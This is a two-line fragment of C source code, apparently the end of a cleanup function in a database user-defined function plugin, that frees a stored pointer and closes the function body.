       free(initid->ptr);
}

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